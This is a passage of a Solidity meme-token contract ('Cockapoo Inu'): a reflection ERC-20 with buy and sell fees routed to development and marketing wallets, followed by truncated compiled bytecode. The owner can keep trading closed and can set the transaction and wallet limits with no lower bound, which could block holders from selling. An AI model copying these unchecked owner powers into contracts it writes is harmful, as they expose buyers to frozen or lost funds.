bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 500000000 * 10**9; // 0.5% max TX
uint256 public _maxWalletSize = 1500000000 * 10**9; // 1.5% max wallet
uint256 public _swapTokensAtAmount = 100000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading() public onlyOwner {
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnSell < 10, "Tax fee cannot be more than 10%");
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101855760003560e01c806374010ece116100d157806398a5c3151161008a578063c492f04611610064578063c492f04614610533578063dd62ed3e1461055c578063ea1644d514610599578063f2fde38b146105c25761018c565b806398a5c315146104b6578063a9059cbb146104df578063c3c8cd801461051c5761018c565b806374010ece146103ca5780637c519ffb146103f35780637d1db4a51461040a5780638da5cb5b146104355780638f9a55c01461046057806395d89b411461048b5761018c565b8063313ce5671161013e5780636d8aa8f8116101185780636d8aa8f8146103365780636fc3eaec1461035f57806370a0823114610376578063715018a6146103b35761018c565b8063313ce567146102b757806349bd5a5e146102e257806369fe0e2d1461030d5761018c565b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101f957806318160ddd1461022457806323b872dd1461024f5780632fd689e31461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105eb565b6040516101b39190612de6565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190612999565b610628565b6040516101f09190612db0565b60405180910390f35b34801561020557600080fd5b5061020e610646565b60405161021b9190612dcb565b60405180910390f35b34801561023057600080fd5b5061023961066c565b6040516102469190612fc8565b60405180910390f35b34801561025b57600080fd5b5061027660048036038101906102719190612946565b61067d565b6040516102839190612db0565b60405180910390f35b34801561029857600080fd5b506102a1610756565b6040516102ae9190612fc8565b60405180910390f35b3480156102c357600080fd5b506102cc61075c565b6040516102d9919061303d565b60405180910390f35b3480156102ee57600080fd5b506102f7610765565b6040516103049190612d95565b60405180910390f35b34801561031957600080fd5b50610334600480360381019061032f9190612a66565b61078b565b005b34801561034257600080fd5b5061035d60048036038101906103589190612a39565b61086d565b005b34801561036b57600080fd5b5061037461091f565b005b34801561038257600080fd5b5061039d600480360381019061039891906128ac565b6109f0565b6040516103aa9190612fc8565b60405180910390f35b3480156103bf57600080fd5b506103c8610a41565b005b3480156103d657600080fd5b506103f160048036038101906103ec9190612a66565b610b94565b005b3480156103ff57600080fd5b50610408610c33565b005b34801561041657600080fd5b5061041f610ce4565b60405161042c9190612fc8565b60405180910390f35b34801561044157600080fd5b5061044a610cea565b6040516104579190612d95565b60405180910390f35b34801561046c57600080fd5b50610475610d13565b6040516104829190612fc8565b60405180910390f35b34801561049757600080fd5b506104a0610d19565b6040516104ad9190612de6565b60405180910390f35b3480156104c257600080fd5b506104dd60048036038101906104d89190612a66565b610d56565b005b3480156104eb57600080fd5b5061050660048036038101906105019190612999565b610df5565b6040516105139190612db0565b60405180910390f35b34801561052857600080fd5b50610531610e13565b005b34801561053f57600080fd5b5061055a600480360381019061055591906129d9565b610eec565b005b34801561056857600080fd5b50610583600480360381019061057e9190612906565b611026565b6040516105909190612fc8565b60405180910390f35b3480156105a557600080fd5b506105c060048036038101906105bb9190612a66565b6110ad565b005b3480156105ce57600080fd5b506105e960048036038101906105e491906128ac565b61114c565b005b60606040518060400160405280600c81526020017f436f636b61706f6f20496e750000000000000000000000000000000000000000815250905090565b600061063c61063561130e565b8484611316565b6001905092915050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b600061068a8484846114e1565b61074b8461069661130e565b610746856040518060600160405280602881526020016137c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fc61130e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c839092919063ffffffff16565b611316565b600190509392505050565b60175481565b60006009905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61079361130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081790612f28565b60405180910390fd5b600a8110610863576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90612e28565b60405180910390fd5b80600b8190555050565b61087561130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f990612f28565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661096061130e565b73ffffffffffffffffffffffffffffffffffffffff1614806109d65750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109be61130e565b73ffffffffffffffffffffffffffffffffffffffff16145b6109df57600080fd5b60004790506109ed81611ce7565b50565b6000610a3a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de2565b9050919050565b610a4961130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acd90612f28565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b9c61130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2090612f28565b60405180910390fd5b8060158190555050565b610c3b61130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbf90612f28565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60165481565b60606040518060400160405280600881526020017f434f434b41504f4f000000000000000000000000000000000000000000000000815250905090565b610d5e61130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de290612f28565b60405180910390fd5b8060178190555050565b6000610e09610e0261130e565b84846114e1565b6001905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e5461130e565b73ffffffffffffffffffffffffffffffffffffffff161480610eca5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eb261130e565b73ffffffffffffffffffffffffffffffffffffffff16145b610ed357600080fd5b6000610ede306109f0565b9050610ee981611e50565b50565b610ef461130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7890612f28565b60405180910390fd5b60005b83839050811015611020578160056000868685818110610fa757610fa6613339565b5b9050602002016020810190610fbc91906128ac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061101890613292565b915050610f84565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110b561130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611142576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113990612f28565b60405180910390fd5b8060168190555050565b61115461130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d890612f28565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124890612ea8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611386576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137d90612fa8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ed90612ec8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114d49190612fc8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611551576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154890612f68565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b890612e08565b60405180910390fd5b60008111611604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fb90612f48565b60405180910390fd5b61160c610cea565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167a575061164a610cea565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119825760148054906101000a900460ff1661170757611699610cea565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fd90612e48565b60405180910390fd5b5b60155481111561174c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174390612e88565b60405180910390fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146117f957601654816117ae846109f0565b6117b891906130ad565b106117f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ef90612f88565b60405180910390fd5b5b6000611804306109f0565b905060006017548210159050601554821061181f5760155491505b8080156118395750601460159054906101000a900460ff16155b80156118935750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156118ab5750601460169054906101000a900460ff165b80156119015750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119575750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561197f5761196582611e50565b6000479050600081111561197d5761197c47611ce7565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a295750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611adc5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611adb5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611aea5760009050611c71565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611b955750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bad57600854600c81905550600954600d819055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c585750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611c7057600a54600c81905550600b54600d819055505b5b611c7d848484846120d8565b50505050565b6000838311158290611ccb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc29190612de6565b60405180910390fd5b5060008385611cda919061318e565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d3760028461210590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d62573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611db360028461210590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611dde573d6000803e3d6000fd5b5050565b6000600654821115611e29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2090612e68565b60405180910390fd5b6000611e3361214f565b9050611e48818461210590919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e8857611e87613368565b5b604051908082528060200260200182016040528015611eb65781602001602082028036833780820191505090505b5090503081600081518110611ece57611ecd613339565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f7057600080fd5b505afa158015611f84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa891906128d9565b81600181518110611fbc57611fbb613339565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611316565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612087959493929190612fe3565b600060405180830381600087803b1580156120a157600080fd5b505af11580156120b5573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b806120e6576120e561217a565b5b6120f18484846121bd565b806120ff576120fe612388565b5b50505050565b600061214783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061239c565b905092915050565b600080600061215c6123ff565b91509150612173818361210590919063ffffffff16565b9250505090565b6000600c5414801561218e57506000600d54145b15612198576121bb565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806121cf87612461565b95509550955095509550955061222d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230e81612571565b612318848361262e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123759190612fc8565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080831182906123e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123da9190612de6565b60405180910390fd5b50600083856123f29190613103565b9050809150509392505050565b60008060006006549050600068056bc75e2d63100000905061243568056bc75e2d6310000060065461210590919063ffffffff16565b8210156124545760065468056bc75e2d6310000093509350505061245d565b81819350935050505b9091565b600080600080600080600080600061247e8a600c54600d54612668565b925092509250600061248e61214f565b905060008060006124a18e8787876126fe565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c83565b905092915050565b600080828461252291906130ad565b905083811015612567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255e90612ee8565b60405180910390fd5b8091505092915050565b600061257b61214f565b90506000612592828461278790919063ffffffff16565b90506125e681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612643826006546124c990919063ffffffff16565b60068190555061265e8160075461251390919063ffffffff16565b6007819055505050565b6000806000806126946064612686888a61278790919063ffffffff16565b61210590919063ffffffff16565b905060006126be60646126b0888b61278790919063ffffffff16565b61210590919063ffffffff16565b905060006126e7826126d9858c6124c990919063ffffffff16565b6124c990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612717858961278790919063ffffffff16565b9050600061272e868961278790919063ffffffff16565b90506000612745878961278790919063ffffffff16565b9050600061276e8261276085876124c990919063ffffffff16565b6124c990919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561279a57600090506127fc565b600082846127a89190613134565b90508284826127b79190613103565b146127f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ee90612f08565b60405180910390fd5b809150505b92915050565b6000813590506128118161377b565b92915050565b6000815190506128268161377b565b92915050565b60008083601f8401126128425761284161339c565b5b8235905067ffffffffffffffff81111561285f5761285e613397565b5b60208301915083602082028301111561287b5761287a6133a1565b5b9250929050565b60008135905061289181613792565b92915050565b6000813590506128a6816137a9565b92915050565b6000602082840312156128c2576128c16133ab565b5b60006128d084828501612802565b91505092915050565b6000602082840312156128ef576128ee6133ab565b5b60006128fd84828501612817565b91505092915050565b6000806040838503121561291d5761291c6133ab565b5b600061292b85828601612802565b925050602061293c85828601612802565b9150509250929050565b60008060006060848603121561295f5761295e6133ab565b5b600061296d86828701612802565b935050602061297e86828701612802565b925050604061298f86828701612897565b9150509250925092565b600080604083850312156129b0576129af6133ab565b5b60006129be85828601612802565b92505060206129cf85828601612897565b9150509250929050565b6000806000604084860312156129f2576129f16133ab565b5b600084013567ffffffffffffffff811115612a1057612a0f6133a6565b5b612a1c8682870161282c565b93509350506020612a2f86828701612882565b9150509250925092565b600060208284031215612a4f57612a4e6133ab565b5b6000612a5d84828501612882565b91505092915050565b600060208284031215612a7c57612a7b6133ab565b5b6000612a8a84828501612897565b91505092915050565b6000612a9f8383612aab565b60208301905092915050565b612ab4816131c2565b82525050565b612ac3816131c2565b82525050565b6000612ad482613068565b612ade818561308b565b9350612ae983613058565b8060005b83811015612b1a578151612b018882612a93565b9750612b0c8361307e565b925050600181019050612aed565b5085935050505092915050565b612b30816131d4565b82525050565b612b3f81613217565b82525050565b612b4e81613229565b82525050565b6000612b5f82613073565b612b69818561309c565b9350612b7981856020860161325f565b612b82816133b0565b840191505092915050565b6000612b9a60238361309c565b9150612ba5826133c1565b604082019050919050565b6000612bbd601f8361309c565b9150612bc882613410565b602082019050919050565b6000612be0603f8361309c565b9150612beb82613439565b604082019050919050565b6000612c03602a8361309c565b9150612c0e82613488565b604082019050919050565b6000612c26601c8361309c565b9150612c31826134d7565b602082019050919050565b6000612c4960268361309c565b9150612c5482613500565b604082019050919050565b6000612c6c60228361309c565b9150612c778261354f565b604082019050919050565b6000612c8f601b8361309c565b9150612c9a8261359e565b602082019050919050565b6000612cb260218361309c565b9150612cbd826135c7565b604082019050919050565b6000612cd560208361309c565b9150612ce082613616565b602082019050919050565b6000612cf860298361309c565b9150612d038261363f565b604082019050919050565b6000612d1b60258361309c565b9150612d268261368e565b604082019050919050565b6000612d3e60238361309c565b9150612d49826136dd565b604082019050919050565b6000612d6160248361309c565b9150612d6c8261372c565b604082019050919050565b612d8081613200565b82525050565b612d8f8161320a565b82525050565b6000602082019050612daa6000830184612aba565b92915050565b6000602082019050612dc56000830184612b27565b92915050565b6000602082019050612de06000830184612b36565b92915050565b60006020820190508181036000830152612e008184612b54565b905092915050565b60006020820190508181036000830152612e2181612b8d565b9050919050565b60006020820190508181036000830152612e4181612bb0565b9050919050565b60006020820190508181036000830152612e6181612bd3565b9050919050565b60006020820190508181036000830152612e8181612bf6565b9050919050565b60006020820190508181036000830152612ea181612c19565b9050919050565b60006020820190508181036000830152612ec181612c3c